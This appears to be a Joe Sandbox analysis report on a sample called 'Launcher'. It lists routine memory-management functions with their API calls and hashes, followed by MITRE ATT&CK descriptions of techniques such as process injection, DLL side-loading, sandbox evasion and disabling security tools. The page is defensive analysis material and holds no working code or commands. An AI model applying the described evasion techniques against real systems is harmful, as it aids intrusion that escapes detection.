Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$AllocFileFreeModuleNameProcess
String ID: D:\a\_work\1\s\src\coreclr\vm\threads.cpp
API String ID: 316127365-1819033804
Opcode ID: 65e7b42c3a426bb2ad726cf8148d307266041d476ac859acf5ff26f9f41561b3
Instruction ID: c3d99efb97969283d5fe77b600f49180a05e9af6f0cf5147456bdfe2bcba60dc
Opcode Fuzzy Hash: 65e7b42c3a426bb2ad726cf8148d307266041d476ac859acf5ff26f9f41561b3
Instruction Fuzzy Hash: 102179B080430ADBDB10CFA4D909BAEBBF8FB45718F104219D524A7290D7B90608CB91

Function 0109F0B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(00000000,00000001,00000000,00000000,03A447B0,00000000), ref: 0109F106

Strings

The RW block to unmap was not found, xrefs: 0109F0EC
Releasing the RW mapping failed, xrefs: 0109F118

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FileUnmapView
String ID: Releasing the RW mapping failed$The RW block to unmap was not found
API String ID: 2564024751-3150148780
Opcode ID: 41958643f0823ac8c77a07eb5be4ccb484dd2b5214a9676b26b4f1a371422dfc
Instruction ID: da7679a9ac1bb31dc7359361bfb8d887dcfb9e7f499978949d7342362d5b5264
Opcode Fuzzy Hash: 41958643f0823ac8c77a07eb5be4ccb484dd2b5214a9676b26b4f1a371422dfc
Instruction Fuzzy Hash: 6001B171600205ABDF20DF99FC54A99BFBCEF41B51F1480A9ED01E7154D770AA04DBE0

Function 01142820 Relevance: 5.3, APIs: 4, Instructions: 263COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000000,?,?), ref: 011428FF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000000,?,?), ref: 01142BB1

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d547fcf7b0aafdb21f84688f03ad5039d2418d5a592ddcc95e7344d6241ce916
Instruction ID: 25c8bbac67b35b7cf640f7b5166f89b47f68db918199b11aaee52820afef1436
Opcode Fuzzy Hash: d547fcf7b0aafdb21f84688f03ad5039d2418d5a592ddcc95e7344d6241ce916
Instruction Fuzzy Hash: CEB18374A007258FDB2ACF18D890769B7B9FF48B14F1581D9E919AB350DB31AE81CF80

Function 011413F0 Relevance: 5.3, APIs: 4, Instructions: 252COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,?,?,00000000,00000000,?), ref: 011414DE
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000000,?,?,?,?,?,00000000,00000000,?), ref: 0114175A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 01141790

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 24c10696a0cdbfecc827baf1484099b147a11a706c608d7447b2b6633eb7387b
Instruction ID: bf98b0991615a0a93d8fbfa4297bc269bf4e53aa3cbb94807906aff2aee259be
Opcode Fuzzy Hash: 24c10696a0cdbfecc827baf1484099b147a11a706c608d7447b2b6633eb7387b
Instruction Fuzzy Hash: 22B13E74A002289FDB24DF18D890799BBB6FF89714F1481E9D409AB351DB32AEE1CF41

Function 00FA7090 Relevance: 5.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(95E4D7D1,80131506,?), ref: 0108BDCE
Part of subcall function 0108BD60: wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,?), ref: 0108BDE2
Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0108BDEE
Part of subcall function 0108BD60: HeapFree.KERNEL32(00000000,00000000), ref: 0108BE12

HeapFree.KERNEL32(00000000,00000000,95E4D7D1,00000001,014AA768,0000001F), ref: 00FA7182
HeapFree.KERNEL32(00000000,00000000,95E4D7D1,00000001,014AA768,0000001F), ref: 00FA71F6
HeapFree.KERNEL32(00000000,00000000,95E4D7D1,00000001,014AA768,0000001F), ref: 00FA72E2
HeapFree.KERNEL32(00000000,00000000,95E4D7D1,00000001,014AA768,0000001F), ref: 00FA730C

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap$_errno$wcstoul
String ID:
API String ID: 1319467083-0
Opcode ID: 01181ebccfbd4af78bed8ffa09f01344a86e5016c470d7f05998a02f9051aa13
Instruction ID: 3de477a835cc78a41cd4db285ebcdbf7c6576b9c7b3795a50b825231a503cb38
Opcode Fuzzy Hash: 01181ebccfbd4af78bed8ffa09f01344a86e5016c470d7f05998a02f9051aa13
Instruction Fuzzy Hash: B6818EB0E09358DBDB10DFE4CC54B9EBBF4AF41314F108269D811AB294D7B46908DF90

Function 01096030 Relevance: 5.2, APIs: 4, Instructions: 180memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?), ref: 01096197
HeapFree.KERNEL32(00000000,?,?,00000000,00000001,?,?,?), ref: 010961F1

Part of subcall function 01094940: HeapFree.KERNEL32(00000000,00000002,?,?), ref: 01094A56

HeapFree.KERNEL32(00000000,?,?,00000000,00000001,?,?,?), ref: 01096238
HeapFree.KERNEL32(00000000,?,?,?,?), ref: 01096266

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: af82456c3a207d737ee4327070357870ff3399562aaf6a60c56b4b7bdf90eb70
Instruction ID: 6c1ee2e1cd6645afda0d00c4e139c1b19bedbbe4df1cd982712b9e95c0552542
Opcode Fuzzy Hash: af82456c3a207d737ee4327070357870ff3399562aaf6a60c56b4b7bdf90eb70
Instruction Fuzzy Hash: A261E670A40619ABEF20CF28DDA8BA9B7F4EF04354F1442D8D895A72D0DB31AE41DF80

Function 0114C670 Relevance: 5.2, APIs: 4, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,00000000), ref: 0114C84D

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 038f209b15bdc0358edd2ce43ec66f755a8d6ea52be2cbf96cba14e58e9dcbcf
Instruction ID: e950f7882d5d22ff5783649a10d4118bc116a658d185c495cb13ac1e345b3460
Opcode Fuzzy Hash: 038f209b15bdc0358edd2ce43ec66f755a8d6ea52be2cbf96cba14e58e9dcbcf
Instruction Fuzzy Hash: 55510871A01606ABEB18DF6DDC8476AB7F8FF44B18F104129E905D7780D771E9058BD1

Function 01141930 Relevance: 5.2, APIs: 4, Instructions: 160memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,00000000,01145D72,00000000), ref: 01141947
HeapAlloc.KERNEL32(03A20000,00000000,00000038,00000000,?,00000000,01145D72,00000000), ref: 01141964
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(0000000C), ref: 011419A4
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 01141AA6

Part of subcall function 0113D530: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(0000000C,011467E7,00000000,00000000,00000000,?,?,?,?,?,?,01145D1E), ref: 0113D532

Part of subcall function 0113D900: GetProcessHeap.KERNEL32(95E4D7D1,00000000,?,?,?,?,?,?,?,?,?,01364C95,000000FF,?,01146376,00000000), ref: 0113D938
Part of subcall function 0113D900: HeapAlloc.KERNEL32(03A20000,00000000,00000008,95E4D7D1,00000000,?,?,?,?,?,?,?,?,?,01364C95,000000FF), ref: 0113D955

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$AllocProcessmalloc$free
String ID:
API String ID: 3221293056-0
Opcode ID: 9444a4bec97f702fb8bb5bde43370d861e22a75b06fc5fd0da408b9038e541bf
Instruction ID: 8ce5da28158eef40c54dfb9c0208e7e4a3dd38163e31fc98f83d56b3a6f6cc05
Opcode Fuzzy Hash: 9444a4bec97f702fb8bb5bde43370d861e22a75b06fc5fd0da408b9038e541bf
Instruction Fuzzy Hash: 3951E0717007019FEB29DF6DE840716BBE5AF94714F20862DE95A8B390EB71A844CB91

Function 0114C870 Relevance: 5.1, APIs: 4, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,00000000), ref: 0114C9EB

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: a91446ef44b9fb97c02e4cc70c0d2f1a141a868c071f73fd8df267e9a795ba01
Instruction ID: ebc28ae108066de8909703c19d4cdc4f888bacd7bad6d5a360b220075c355f3f
Opcode Fuzzy Hash: a91446ef44b9fb97c02e4cc70c0d2f1a141a868c071f73fd8df267e9a795ba01
Instruction Fuzzy Hash: 7C415A35A01202BBEB39DF7CD8807AEB7E4AF45B14F008169E945E7381FB70894487E1

Function 011467A0 Relevance: 5.1, APIs: 4, Instructions: 137stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(0140E2A0,?,00000000,00000000,00000000,?,?,?,?,?,?,01145D1E), ref: 01146818
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000000,00000000,?,?,?,?,?,?,01145D1E), ref: 011468D2
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000000,00000000,?,?,?,?,?,?,01145D1E), ref: 011468E2

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: free$strcmp
String ID:
API String ID: 507678545-0
Opcode ID: 9f7b26a882935212a9c0ff87e9ada2902a84ab4f191fdd2b8e7e5e228ca0e561
Instruction ID: a8efefc2c70a20023367613298cd668008e582d8517bd1da2222b4f2fd43c52b
Opcode Fuzzy Hash: 9f7b26a882935212a9c0ff87e9ada2902a84ab4f191fdd2b8e7e5e228ca0e561
Instruction Fuzzy Hash: 1241F4B1A007025BEB299F6DAC00B2AF798EF41B19F18463DE958D3254EB21D824C7D1

Function 0113D4B0 Relevance: 5.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018,?,00000004,00000008,0113FC07), ref: 0113D4B7
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0113D501
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000), ref: 0113D510
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 0113D51A

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: free$malloc
String ID:
API String ID: 2190258309-0
Opcode ID: ce4d975a0e464b3d26d37d6cee90eed425a2ac2c4af8885379cb3b7280f36319
Instruction ID: c66eac0495911d977daf03619446d6320a7c9e1bdf59b2b840afbb35c0e72131
Opcode Fuzzy Hash: ce4d975a0e464b3d26d37d6cee90eed425a2ac2c4af8885379cb3b7280f36319
Instruction Fuzzy Hash: A0014CB170020157DB14A76EF81856B7B38EFC0326F24813AF506D3650EB21946587D1

Function 01147490 Relevance: 5.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018,?,00000000,?,0114BE88,?,00000000,?,?,?,?,?,?,?,0114C4BC), ref: 01147495
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,0114C4BC,?,01148990), ref: 011474E3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,?,?,?,?,0114C4BC,?,01148990), ref: 011474F2
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,?,?,?,?,?,?,?,0114C4BC,?,01148990), ref: 011474FC

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: free$malloc
String ID:
API String ID: 2190258309-0
Opcode ID: cfe0b0f70a913c9c9cace82b589b8ed220c266c3e5a4b9ae40e4dbcb0fb6b8ac
Instruction ID: 5fbfc1abd08b9af30e1f572c29a5d0b6ac09a9a134d19f6dc293882b3c0e2a56
Opcode Fuzzy Hash: cfe0b0f70a913c9c9cace82b589b8ed220c266c3e5a4b9ae40e4dbcb0fb6b8ac
Instruction Fuzzy Hash: 40014CB170020157DB15A76DF81866B7B28FFC0726F248139F506C3A90EB20946587E1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
